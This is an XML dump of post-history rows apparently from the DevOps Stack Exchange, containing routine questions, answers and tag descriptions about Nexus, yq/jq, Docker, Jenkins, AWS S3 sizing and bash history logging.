  <row Id="23534" PostHistoryTypeId="6" PostId="2599" RevisionGUID="dd909dbc-0d60-4406-84f2-58f61020b367" CreationDate="2019-05-12T16:10:02.623" UserId="210" Comment="edited tags" Text="&lt;nexus&gt;&lt;n3dr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23535" PostHistoryTypeId="2" PostId="8104" RevisionGUID="e6fbb35b-fafd-4664-b673-8a86abf26962" CreationDate="2019-05-12T16:15:41.060" UserId="210" Text="[The Nexus3 Disaster Recovery tool][1] is able to download all artifacts from a Nexus3 artifact manager and upload them to another Nexus3 instance. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/n3dr" ContentLicense="CC BY-SA 4.0" />
  <row Id="23536" PostHistoryTypeId="1" PostId="8104" RevisionGUID="e6fbb35b-fafd-4664-b673-8a86abf26962" CreationDate="2019-05-12T16:15:41.060" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23537" PostHistoryTypeId="2" PostId="8105" RevisionGUID="90109fd2-8912-44bb-ad55-a808299f4e93" CreationDate="2019-05-12T16:15:41.060" UserId="210" Text="Use this tag if a question is about the Nexus3 Disaster Recovery tool." ContentLicense="CC BY-SA 4.0" />
  <row Id="23538" PostHistoryTypeId="1" PostId="8105" RevisionGUID="90109fd2-8912-44bb-ad55-a808299f4e93" CreationDate="2019-05-12T16:15:41.060" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23539" PostHistoryTypeId="6" PostId="2448" RevisionGUID="6bf26660-5be2-4bf9-965a-18388a80643a" CreationDate="2019-05-12T16:16:04.067" UserId="210" Comment="edited tags" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;devsecops&gt;&lt;nexus&gt;&lt;n3dr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23540" PostHistoryTypeId="6" PostId="1196" RevisionGUID="d6834e6a-914a-4b76-ba0a-4aea9da18bce" CreationDate="2019-05-12T16:16:22.873" UserId="210" Comment="edited tags" Text="&lt;security&gt;&lt;nexus&gt;&lt;n3dr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23541" PostHistoryTypeId="6" PostId="366" RevisionGUID="989bee3f-38ef-4d0f-b2c5-a62acb315fd7" CreationDate="2019-05-12T16:16:35.607" UserId="210" Comment="edited tags" Text="&lt;load-balance&gt;&lt;nexus&gt;&lt;apache-httpd&gt;&lt;n3dr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23543" PostHistoryTypeId="6" PostId="5882" RevisionGUID="d9901354-a17e-4d34-b241-8c85bc352503" CreationDate="2019-05-12T16:17:01.587" UserId="210" Comment="edited tags" Text="&lt;api&gt;&lt;nexus&gt;&lt;n3dr&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23544" PostHistoryTypeId="5" PostId="5709" RevisionGUID="2fd605f4-f6fd-421f-b668-1999d7c9301a" CreationDate="2019-05-12T18:24:38.230" UserId="40" Comment="deleted 77 characters in body" Text="&#xD;&#xA;There is possibility that client may want certain functionality or feature to be available based on certain season or specific date/time/zeo location. This could grow more complex based on code logic or database changes spreading or impacting to other screens/logical layers.&#xD;&#xA;&#xD;&#xA;How can a team handle above situation with CI/CD or DevOps as a process?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23545" PostHistoryTypeId="5" PostId="8090" RevisionGUID="9068c69b-1417-4622-91d4-b08b0cf20448" CreationDate="2019-05-12T18:25:58.863" UserId="14903" Comment="clarified the question" Text="I want to make my PM2 as a startup service, because for example when my server loses the power or something happens to it, it does not automatically restart the PM2 service." ContentLicense="CC BY-SA 4.0" />
  <row Id="23546" PostHistoryTypeId="24" PostId="8090" RevisionGUID="9068c69b-1417-4622-91d4-b08b0cf20448" CreationDate="2019-05-12T18:25:58.863" Comment="Proposed by 14903 approved by -1 edit id of 994" ContentLicense="CC BY-SA 4.0" />
  <row Id="23547" PostHistoryTypeId="5" PostId="8090" RevisionGUID="8864119a-b2b2-4d9a-be39-19430f19d640" CreationDate="2019-05-12T18:25:58.863" UserId="40" Comment="deleted 4 characters in body" Text="I want to make my PM2 as a startup service, because for example when my server loses power or something happens to it, it does not automatically restart the PM2 service." ContentLicense="CC BY-SA 4.0" />
  <row Id="23551" PostHistoryTypeId="2" PostId="8106" RevisionGUID="d4f869d1-1ecd-41dc-af30-c5a96b3f79cd" CreationDate="2019-05-12T23:48:37.400" UserId="14907" Text="None of these show the size of the bucket if Versioning is turned on and massive amounts of data have been &quot;deleted&quot;.  In the S3 GUI console, the Metrics tab shows what you are being billed for.  I haven't found out how to get this in the CLI yet." ContentLicense="CC BY-SA 4.0" />
  <row Id="23552" PostHistoryTypeId="5" PostId="8106" RevisionGUID="f9237ae5-2a14-43ca-833d-0da3d38c91cb" CreationDate="2019-05-13T00:35:39.140" UserId="14907" Comment="added a command with a source reference and a note on Versioned buckets." Text="None of these show the size of the bucket if Versioning is turned on and massive amounts of data have been &quot;deleted&quot;.  In the S3 GUI console, the Metrics tab shows what you are being billed for.&#xD;&#xA;&#xD;&#xA;Scraped the following command out of a script found at  https://serverfault.com/questions/84815/how-can-i-get-the-size-of-an-amazon-s3-bucket .  It works well on Win.  substitute yourregion and yourbucketname:&#xD;&#xA;&#xD;&#xA;aws cloudwatch get-metric-statistics --namespace AWS/S3 --start-time 2019-05-09T00:01:00Z --end-time 2019-05-11T23:59:00Z --period 86400 --statistics Average --region yourregion --metric-name BucketSizeBytes --dimensions Name=BucketName,Value=yourbucketname Name=StorageType,Value=StandardStorage&#xD;&#xA;&#xD;&#xA;This gives the average size in bytes over the days bounded by the start and end times.  **The result can shock you** if your bucket has Versioning Enabled (active) *and* you think you have &quot;deleted&quot; massive amounts of data.&#xD;&#xA;&#xD;&#xA;To clean up Versioning-enabled buckets, you must set a LifeCycle rule.  You can choose to permanently delete Previous Versions.  You may omit the checkboxes at the Transitions step." ContentLicense="CC BY-SA 4.0" />
  <row Id="23553" PostHistoryTypeId="5" PostId="8106" RevisionGUID="8cf7aa89-64c4-42bf-8ffd-1f8e6f12c15c" CreationDate="2019-05-13T01:41:07.820" UserId="14907" Comment="edited body" Text="None of these show the size of the bucket if Versioning is turned on and massive amounts of data have been &quot;deleted&quot;.  In the S3 GUI console, the Metrics tab shows what you are being billed for.&#xD;&#xA;&#xD;&#xA;Scraped the following command out of a script found at  https://serverfault.com/questions/84815/how-can-i-get-the-size-of-an-amazon-s3-bucket .  It works well on Win.  Substitute yourregion and yourbucketname:&#xD;&#xA;&#xD;&#xA;aws cloudwatch get-metric-statistics --namespace AWS/S3 --start-time 2019-05-09T00:01:00Z --end-time 2019-05-11T23:59:00Z --period 86400 --statistics Average --region yourregion --metric-name BucketSizeBytes --dimensions Name=BucketName,Value=yourbucketname Name=StorageType,Value=StandardStorage&#xD;&#xA;&#xD;&#xA;This gives the average size in bytes over the days bounded by the start and end times.  **The result can shock you** if your bucket has Versioning Enabled (active) *and* you think you have &quot;deleted&quot; massive amounts of data.&#xD;&#xA;&#xD;&#xA;To clean up Versioning-enabled buckets, you must set a LifeCycle rule.  You can choose to permanently delete Previous Versions.  You may omit the checkboxes at the Transitions step." ContentLicense="CC BY-SA 4.0" />
  <row Id="23554" PostHistoryTypeId="5" PostId="8085" RevisionGUID="6102150e-a333-48b4-b31d-3b77300253f5" CreationDate="2019-05-13T06:41:30.660" UserId="14885" Comment="added 1162 characters in body" Text="The workdir for the parent image is /root. You can try to omit the WORKDIR statement. The build script might be working in the current directory, which would not be /root, but /workdir. Or you can add WORKDIR /root again before CMD. &#xD;&#xA; &#xD;&#xA;Also don't forget some basic checks, eg. &#xD;&#xA;&#xD;&#xA;    df -h &#xD;&#xA;&#xD;&#xA;to check if your server has enough free space (granted, it would have given an error message.) Also remove old containers: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker ps -a &#xD;&#xA;    docker rm containername&#xD;&#xA;    docker images&#xD;&#xA;    docker rmi imagename&#xD;&#xA;&#xD;&#xA;If you add the WORKDIR root at the end, and the jar is created at&#xD;&#xA;&#xD;&#xA;     /root/.ivy2/local/default/root_2.12/0.1.0-SNAPSHOT/jars/root_2.12.jar &#xD;&#xA;&#xD;&#xA;instead of, say:&#xD;&#xA;&#xD;&#xA;    /root/.ivy2/local/com.test/myproject/1.0.1/jars/myproject.jar&#xD;&#xA;&#xD;&#xA;You can try to find the scripts that generate that path with grep:&#xD;&#xA;&#xD;&#xA;    egrep -r '(jars|root|default)' * &#xD;&#xA;&#xD;&#xA;This will recursively list all the files where those terms appear. You can scan them for clues so as to what configuration files or environment variables to use. Also check the configuration section of the documentation for the jar generating application. (It's not software I am familiar with)&#xD;&#xA;&#xD;&#xA;As a plan B you can always just create a softlink inside the container, if it will solve your problem:&#xD;&#xA;&#xD;&#xA;    mkdir -p /root/.ivy2/local/com.test/myproject/1.0.1&#xD;&#xA;    ln -s /root/.ivy2/local/default/root_2.12/0.1.0-SNAPSHOT/jars /root/.ivy2/local/com.test/myproject/1.0.1/&#xD;&#xA;&#xD;&#xA;You can also add this as a RUN command before the CMD in the Dockerfile:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RUN mkdir -p /root/.ivy2/local/com.test/myproject/1.0.1 &amp;&amp; /root/.ivy2/local/default/root_2.12/0.1.0-SNAPSHOT/jars /root/.ivy2/local/com.test/myproject/1.0.1/" ContentLicense="CC BY-SA 4.0" />
  <row Id="23555" PostHistoryTypeId="5" PostId="8085" RevisionGUID="c4e11e81-cbef-46dd-a2b0-c2d0f93457e5" CreationDate="2019-05-13T06:48:03.743" UserId="14885" Comment="added 1162 characters in body" Text="Not knowing anything about the java appication, but just going on what you can do with docker: The workdir for the parent image is /root. You can try to omit the WORKDIR statement. The build script might be working in the current directory, which would not be /root, but /workdir. Or you can add WORKDIR /root again before CMD. &#xD;&#xA; &#xD;&#xA;Also don't forget some basic checks, eg. &#xD;&#xA;&#xD;&#xA;    df -h &#xD;&#xA;&#xD;&#xA;to check if your server has enough free space (granted, it would have given an error message.) Also remove old containers: &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    docker ps -a &#xD;&#xA;    docker rm containername&#xD;&#xA;    docker images&#xD;&#xA;    docker rmi imagename&#xD;&#xA;&#xD;&#xA;If you add the WORKDIR root at the end, and the jar is created at&#xD;&#xA;&#xD;&#xA;     /root/.ivy2/local/default/root_2.12/0.1.0-SNAPSHOT/jars/root_2.12.jar &#xD;&#xA;&#xD;&#xA;instead of, say:&#xD;&#xA;&#xD;&#xA;    /root/.ivy2/local/com.test/myproject/1.0.1/jars/myproject.jar&#xD;&#xA;&#xD;&#xA;You can try to find the scripts that generate that path with grep:&#xD;&#xA;&#xD;&#xA;    egrep -r '(jars|root|default)' * &#xD;&#xA;&#xD;&#xA;This will recursively list all the files where those terms appear. You can scan them for clues so as to what configuration files or environment variables to use. Also check the configuration section of the documentation for the jar generating application. (It's not software I am familiar with.) If you find that there is an environment variable that informs the location, lets say for example PROJECT, then you can include it in the Dockerfile:&#xD;&#xA;&#xD;&#xA;    ENV PROJECT myproject.test.com&#xD;&#xA;&#xD;&#xA;Or if you want to dynamically pass it to the container when you run it:&#xD;&#xA;&#xD;&#xA;    docker run -E PROJECT=myproject.test.com myproject:v1&#xD;&#xA;&#xD;&#xA;More likely however, is that it is inside some sort of configuration file that you need to copy to the container. Because &quot;docker build&quot; copies all the files in the current directory, you can just create the file in the current directory. Or if you need to manually put it somewhere else:&#xD;&#xA;&#xD;&#xA;    PUT configfile /some/path&#xD;&#xA;&#xD;&#xA;Or&#xD;&#xA;&#xD;&#xA;    RUN mv configfile /some/path&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Or you can create it dynamically inside the container. If it's just one line that needs to be in a file in the container:&#xD;&#xA;&#xD;&#xA;    RUN bash -c &quot;echo project: myproject.test.com &gt; /some/path/configfile&quot;&#xD;&#xA;&#xD;&#xA;As a plan B you can always just create a softlink inside the container, if it will solve your problem:&#xD;&#xA;&#xD;&#xA;    mkdir -p /root/.ivy2/local/com.test/myproject/1.0.1&#xD;&#xA;    ln -s /root/.ivy2/local/default/root_2.12/0.1.0-SNAPSHOT/jars /root/.ivy2/local/com.test/myproject/1.0.1/&#xD;&#xA;&#xD;&#xA;You can also add this as a RUN command before the CMD in the Dockerfile:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    RUN mkdir -p /root/.ivy2/local/com.test/myproject/1.0.1 &amp;&amp; /root/.ivy2/local/default/root_2.12/0.1.0-SNAPSHOT/jars /root/.ivy2/local/com.test/myproject/1.0.1/" ContentLicense="CC BY-SA 4.0" />
  <row Id="23562" PostHistoryTypeId="5" PostId="5882" RevisionGUID="df36dcaa-5a05-4bfd-8872-7214f14e837b" CreationDate="2019-05-13T12:56:39.483" UserId="210" Comment="deleted 24 characters in body" Text="I want to get a list (json) of all artifacts in one specific repository via the REST API. &#xD;&#xA;&#xD;&#xA;I've already tried: &#xD;&#xA;&#xD;&#xA;    curl -X GET http://localhost/nexus/service/local/respositories/&lt;reponame&gt;/content/&#xD;&#xA;&#xD;&#xA;This works, but it deliveres me a json listing all my subdirectories in this repo. But what I want is a list with all the artifacts contained in all subdirectories.&#xD;&#xA;&#xD;&#xA;Someone knows how to do this? Is there a way to iterate through all folders? I was thinking about the search keyword, but I wouldn't know for what to search." ContentLicense="CC BY-SA 4.0" />
  <row Id="23564" PostHistoryTypeId="2" PostId="8108" RevisionGUID="abcd7e13-37a0-44d9-b7c8-870300e4b651" CreationDate="2019-05-13T13:04:10.250" UserId="210" Text="I often used jq to lookup a value in json. How to do this in yaml? I do not want to use something like sed as too much characters have to be removed then." ContentLicense="CC BY-SA 4.0" />
  <row Id="23565" PostHistoryTypeId="1" PostId="8108" RevisionGUID="abcd7e13-37a0-44d9-b7c8-870300e4b651" CreationDate="2019-05-13T13:04:10.250" UserId="210" Text="What options are available to get a value that is associated to a key in yaml?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23566" PostHistoryTypeId="3" PostId="8108" RevisionGUID="abcd7e13-37a0-44d9-b7c8-870300e4b651" CreationDate="2019-05-13T13:04:10.250" UserId="210" Text="&lt;yaml&gt;&lt;go-yq&gt;&lt;yq&gt;&lt;jq&gt;&lt;cli&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23567" PostHistoryTypeId="2" PostId="8109" RevisionGUID="6482f335-557f-4555-8cd0-59e8801d328f" CreationDate="2019-05-13T13:08:48.320" UserId="210" Text="[Go-yq][1] is a tool that is able to get a value that is associated to a key in yaml.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/go-yq" ContentLicense="CC BY-SA 4.0" />
  <row Id="23568" PostHistoryTypeId="1" PostId="8109" RevisionGUID="6482f335-557f-4555-8cd0-59e8801d328f" CreationDate="2019-05-13T13:08:48.320" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23569" PostHistoryTypeId="2" PostId="8110" RevisionGUID="936691a6-9e4f-460a-b621-ce82cc30b52a" CreationDate="2019-05-13T13:08:48.320" UserId="210" Text="Use this tag if there a questions about go-yq." ContentLicense="CC BY-SA 4.0" />
  <row Id="23570" PostHistoryTypeId="1" PostId="8110" RevisionGUID="936691a6-9e4f-460a-b621-ce82cc30b52a" CreationDate="2019-05-13T13:08:48.320" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23571" PostHistoryTypeId="2" PostId="8111" RevisionGUID="f0a82f77-9b3a-4498-8fa4-89c6771cd7b6" CreationDate="2019-05-13T13:10:06.030" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="23572" PostHistoryTypeId="1" PostId="8111" RevisionGUID="f0a82f77-9b3a-4498-8fa4-89c6771cd7b6" CreationDate="2019-05-13T13:10:06.030" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23573" PostHistoryTypeId="2" PostId="8112" RevisionGUID="fc224172-3e20-43e0-b422-e7d6dd79f2d7" CreationDate="2019-05-13T13:10:06.030" UserId="210" Text="Use this tag if there is a question about yq tooling. With a yq tool one can lookup a value that is associated to a certain key in yaml." ContentLicense="CC BY-SA 4.0" />
  <row Id="23574" PostHistoryTypeId="1" PostId="8112" RevisionGUID="fc224172-3e20-43e0-b422-e7d6dd79f2d7" CreationDate="2019-05-13T13:10:06.030" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23575" PostHistoryTypeId="2" PostId="8113" RevisionGUID="16d29990-59a4-43ff-b422-8bfdf4045056" CreationDate="2019-05-13T13:10:24.567" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="23576" PostHistoryTypeId="1" PostId="8113" RevisionGUID="16d29990-59a4-43ff-b422-8bfdf4045056" CreationDate="2019-05-13T13:10:24.567" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23577" PostHistoryTypeId="2" PostId="8114" RevisionGUID="3f4859a4-234d-40c9-8c82-8b7c2bc7da38" CreationDate="2019-05-13T13:10:24.567" UserId="210" Text="Use this tag if a question is about jq." ContentLicense="CC BY-SA 4.0" />
  <row Id="23578" PostHistoryTypeId="1" PostId="8114" RevisionGUID="3f4859a4-234d-40c9-8c82-8b7c2bc7da38" CreationDate="2019-05-13T13:10:24.567" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23579" PostHistoryTypeId="2" PostId="8115" RevisionGUID="d8ce742c-a754-4ff2-9a6c-dc85480c1f64" CreationDate="2019-05-13T13:10:57.483" UserId="210" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="23580" PostHistoryTypeId="1" PostId="8115" RevisionGUID="d8ce742c-a754-4ff2-9a6c-dc85480c1f64" CreationDate="2019-05-13T13:10:57.483" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23581" PostHistoryTypeId="2" PostId="8116" RevisionGUID="4a116a86-32e1-4542-92d8-e745d458b369" CreationDate="2019-05-13T13:10:57.483" UserId="210" Text="Use this tag if a question is about Command Line Interfaces (CLI)." ContentLicense="CC BY-SA 4.0" />
  <row Id="23582" PostHistoryTypeId="1" PostId="8116" RevisionGUID="4a116a86-32e1-4542-92d8-e745d458b369" CreationDate="2019-05-13T13:10:57.483" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23583" PostHistoryTypeId="2" PostId="8117" RevisionGUID="42bc42fc-c5cc-4cf3-997f-8c6835eb64f6" CreationDate="2019-05-13T13:12:28.140" UserId="210" Text="One could use [go-yq][1] if one wants to lookup a value by applying jq style, i.e. if firefox_version then one could look it up by adding a dot:&#xD;&#xA;&#xD;&#xA;&gt;     docker run -v /home/ben/dev/ansible-firefox:/ansible-firefox \&#xD;&#xA;&gt;            -it utrecht/go-yq:2.1.0 .firefox_version \&#xD;&#xA;&gt;            /ansible-firefox/defaults/main.yml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/go-yq" ContentLicense="CC BY-SA 4.0" />
  <row Id="23584" PostHistoryTypeId="5" PostId="4796" RevisionGUID="8ee1500c-52ac-403c-8e37-2ce13debbb78" CreationDate="2019-05-13T13:46:10.700" UserId="5051" Comment="Fix typo" Text="**An artifact**&#xD;&#xA;&#xD;&#xA;Is something that is produced/generated/crafted out of a specific process&#xD;&#xA;&gt;Jar out of a Java project build.&#xD;&#xA;&#xD;&#xA;&gt;Question out of your mind&#xD;&#xA;&#xD;&#xA;&gt;Car out of a factory&#xD;&#xA;&#xD;&#xA;&gt;New song&#xD;&#xA;&#xD;&#xA;**A repository**&#xD;&#xA;&#xD;&#xA;Is a receptacle where things are persisted&#xD;&#xA;&gt; Github for a Java project.&#xD;&#xA;&#xD;&#xA;&gt;StackExchange for your daunting questions&#xD;&#xA;&#xD;&#xA;IN THEORY, an **Artifact**-*ory* would be a repository of artifact where they are persisted and managed throughout their life cycle.&#xD;&#xA;&#xD;&#xA;In the context of DevOps, Artifactory is a product that manages binary artifacts. It stores and manages different types (Jar, Python and npm packages, etc...) that you produce out of your builds and re-use at compile or deployment time." ContentLicense="CC BY-SA 4.0" />
  <row Id="23585" PostHistoryTypeId="2" PostId="8118" RevisionGUID="4a1f8859-6fae-4356-9597-84af6e8e159d" CreationDate="2019-05-13T14:41:12.647" UserId="4025" Text="I have been conducting some experiments in Azure, mostly using some VNets and some Linux based Azure container instances. I am not even using Kubernetes or anything along the lines of that.&#xD;&#xA;&#xD;&#xA;But about 50% of my Azure cost is &quot;service fabric mesh&quot;.&#xD;&#xA;&#xD;&#xA;Is any other service I might be using based on that? How do I find out where these charges come from?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23586" PostHistoryTypeId="1" PostId="8118" RevisionGUID="4a1f8859-6fae-4356-9597-84af6e8e159d" CreationDate="2019-05-13T14:41:12.647" UserId="4025" Text="Why is &quot;service fabric mesh&quot; the largest single cost item in my Azure subscription while I am not aware I am using that service?" ContentLicense="CC BY-SA 4.0" />
  <row Id="23587" PostHistoryTypeId="3" PostId="8118" RevisionGUID="4a1f8859-6fae-4356-9597-84af6e8e159d" CreationDate="2019-05-13T14:41:12.647" UserId="4025" Text="&lt;azure&gt;&lt;cost-management&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23588" PostHistoryTypeId="5" PostId="8117" RevisionGUID="cced906b-bb82-4e29-891a-f900bd91f7ae" CreationDate="2019-05-13T14:48:33.143" UserId="210" Comment="deleted 43 characters in body" Text="One could use [go-yq][1] if one wants to lookup a value by applying jq style, i.e. if firefox_version then one could look it up by adding a dot:&#xD;&#xA;&#xD;&#xA;&gt;     docker run -v ${PWD}:/ansible-firefox utrecht/go-yq:2.1.0 \&#xD;&#xA;&gt;            .firefox_version /ansible-firefox/defaults/main.yml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/030/go-yq" ContentLicense="CC BY-SA 4.0" />
  <row Id="23589" PostHistoryTypeId="2" PostId="8119" RevisionGUID="3f0df8b5-8bf6-4eac-ba53-e3bbe329fb70" CreationDate="2019-05-13T15:59:08.423" UserId="4115" Text="There is no perfect way to do this that I know of.  To explain why, take this pipeline script as an example:&#xD;&#xA;&#xD;&#xA;    node('my-first-node') {&#xD;&#xA;      stage('my-first-stage') {&#xD;&#xA;        // some steps here &#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    node('my-second-node') {&#xD;&#xA;      stage('my-second-stage') {&#xD;&#xA;        // some steps here&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    node('my-first-node') {&#xD;&#xA;      stage('my-third-stage') { // must be run after my-second-stage&#xD;&#xA;        // some steps here&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;This will run your stages in the correct order, but there is no guarantee that the node assigned to run my-first-stage will be the same node as the one assigned to run my-third-stage.  Furthermore, even if you can be confident that they are the same node (for instance, you only have one node with the &quot;my-first-node&quot; label in your executor pool), there is no guarantee that the assigned workspace folder will be the same for both stages either.  And even if you use the [workspace step to manually assign a workspace directory](https://jenkins.io/doc/pipeline/steps/workflow-durable-task-step/#ws-allocate-workspace), there is no guarantee that the assigned workspace directory will be the one you asked for either.&#xD;&#xA;&#xD;&#xA;However, if you don't care that my-first-stage and my-third-stage run in the same workspace directory on the same node and you only care about the order that your steps run in, this works fine." ContentLicense="CC BY-SA 4.0" />
  <row Id="23590" PostHistoryTypeId="2" PostId="8120" RevisionGUID="c4691f4a-a7a1-46ab-8adb-1b5f15fa1036" CreationDate="2019-05-13T16:14:45.353" UserId="6903" Text="What is the difference between using maven as a tool versus having a slave that has maven installed? &#xD;&#xA;&#xD;&#xA;I am using Jenkins on OCP and it came with a slave image for maven and not setup as a tool. I now need to install gradle and I am wondering if I should add it as a tool or make a slave with it installed." ContentLicense="CC BY-SA 4.0" />
  <row Id="23591" PostHistoryTypeId="1" PostId="8120" RevisionGUID="c4691f4a-a7a1-46ab-8adb-1b5f15fa1036" CreationDate="2019-05-13T16:14:45.353" UserId="6903" Text="Jenkins Tool vs Slave local tool" ContentLicense="CC BY-SA 4.0" />
  <row Id="23592" PostHistoryTypeId="3" PostId="8120" RevisionGUID="c4691f4a-a7a1-46ab-8adb-1b5f15fa1036" CreationDate="2019-05-13T16:14:45.353" UserId="6903" Text="&lt;jenkins&gt;&lt;gradle&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23593" PostHistoryTypeId="5" PostId="8106" RevisionGUID="71a1049b-eca3-46df-b168-2e2d7dd52620" CreationDate="2019-05-13T16:52:56.473" UserId="739" Comment="formatting code and copy edit" Text="None of these show the size of the bucket if Versioning is turned on and massive amounts of data have been &quot;deleted&quot;.  In the S3 GUI console, the Metrics tab shows what you are being billed for.&#xD;&#xA;&#xD;&#xA;Scraped the following command out of a script found at  https://serverfault.com/questions/84815/how-can-i-get-the-size-of-an-amazon-s3-bucket .  It works well on Windows.  Substitute `yourregion` and `yourbucketname`:&#xD;&#xA;&#xD;&#xA;`aws cloudwatch get-metric-statistics --namespace AWS/S3 --start-time 2019-05-09T00:01:00Z --end-time 2019-05-11T23:59:00Z --period 86400 --statistics Average --region yourregion --metric-name BucketSizeBytes --dimensions Name=BucketName,Value=yourbucketname Name=StorageType,Value=StandardStorage`&#xD;&#xA;&#xD;&#xA;This gives the average size in bytes over the days bounded by the start and end times.  **The result can shock you** if your bucket has Versioning Enabled (active) *and* you think you have &quot;deleted&quot; massive amounts of data.&#xD;&#xA;&#xD;&#xA;To clean up Versioning-enabled buckets, you must set a LifeCycle rule.  You can choose to permanently delete Previous Versions.  You may omit the checkboxes at the Transitions step." ContentLicense="CC BY-SA 4.0" />
  <row Id="23594" PostHistoryTypeId="2" PostId="8121" RevisionGUID="459daffd-c945-415b-bd05-fcd131654ab7" CreationDate="2019-05-13T19:26:33.720" UserId="7837" Text="Every time I ssh into a server I might issue some bash commands and then sign off (hup signal?). Is there a way to write the shell commands that I issued on the server to some changelog file?&#xD;&#xA;&#xD;&#xA;I want to remove basic commands like ls/cd, and duplicate commands, as well.  It's basically as if every command I issue in bash is like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    eval &quot;$(my_command | tee &quot;$HOME/change.log&quot;)&quot;&#xD;&#xA;&#xD;&#xA;but I don't know how to set this up, anybody know a good way to do this?&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="23595" PostHistoryTypeId="1" PostId="8121" RevisionGUID="459daffd-c945-415b-bd05-fcd131654ab7" CreationDate="2019-05-13T19:26:33.720" UserId="7837" Text="Automatically write new bash history to change-log file" ContentLicense="CC BY-SA 4.0" />
  <row Id="23596" PostHistoryTypeId="3" PostId="8121" RevisionGUID="459daffd-c945-415b-bd05-fcd131654ab7" CreationDate="2019-05-13T19:26:33.720" UserId="7837" Text="&lt;bash&gt;&lt;ssh&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23597" PostHistoryTypeId="5" PostId="8121" RevisionGUID="d0848d60-38b2-4390-94bc-4f7ca533f0f2" CreationDate="2019-05-13T19:32:02.037" UserId="7837" Comment="added 299 characters in body" Text="Every time I ssh into a server I might issue some bash commands and then sign off (hup signal?). Is there a way to write the shell commands that I issued on the server to some changelog file?&#xD;&#xA;&#xD;&#xA;I want to remove basic commands like ls/cd, and duplicate commands, as well.  It's basically as if every command I issue in bash is like this:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    eval &quot;$(my_command | tee &quot;$HOME/change.log&quot;)&quot;&#xD;&#xA;&#xD;&#xA;but I don't know how to set this up, anybody know a good way to do this?&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;It would be really nice to eliminate commands like ls and cd, but also show the pwd of every command that was issued:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    command  (/home/ubuntu)&#xD;&#xA;    command1 (/root/.ssh)&#xD;&#xA;    command2 (/home/ubuntu/teros)&#xD;&#xA;    command1 (/usr/local)&#xD;&#xA;    command1 (/usr/local/lib)&#xD;&#xA;    command3 (/etc)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23601" PostHistoryTypeId="6" PostId="1943" RevisionGUID="d6c351d8-8a22-4c2e-ae8a-227a0feadc4b" CreationDate="2019-05-13T22:01:11.767" UserId="210" Comment="edited tags" Text="&lt;docker&gt;&lt;security&gt;&lt;devsecops&gt;&lt;a2d&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="23602" PostHistoryTypeId="2" PostId="8123" RevisionGUID="b600e9b3-78bc-4833-b675-4233574c6410" CreationDate="2019-05-13T22:02:52.660" UserId="210" Text="Application To Docker (A2D) is a tool that is able to bake an app into a docker image." ContentLicense="CC BY-SA 4.0" />
  <row Id="23603" PostHistoryTypeId="1" PostId="8123" RevisionGUID="b600e9b3-78bc-4833-b675-4233574c6410" CreationDate="2019-05-13T22:02:52.660" UserId="210" ContentLicense="CC BY-SA 4.0" />
  <row Id="23604" PostHistoryTypeId="2" PostId="8124" RevisionGUID="9756d5bf-726b-4f32-9eb7-e565b6bdbf12" CreationDate="2019-05-13T22:02:52.660" UserId="210" Text="Use this tag if a question is about Application To Docker (A2D)" ContentLicense="CC BY-SA 4.0" />
  <row Id="23605" PostHistoryTypeId="1" PostId="8124" RevisionGUID="9756d5bf-726b-4f32-9eb7-e565b6bdbf12" CreationDate="2019-05-13T22:02:52.660" UserId="210" ContentLicense="CC BY-SA 4.0" />
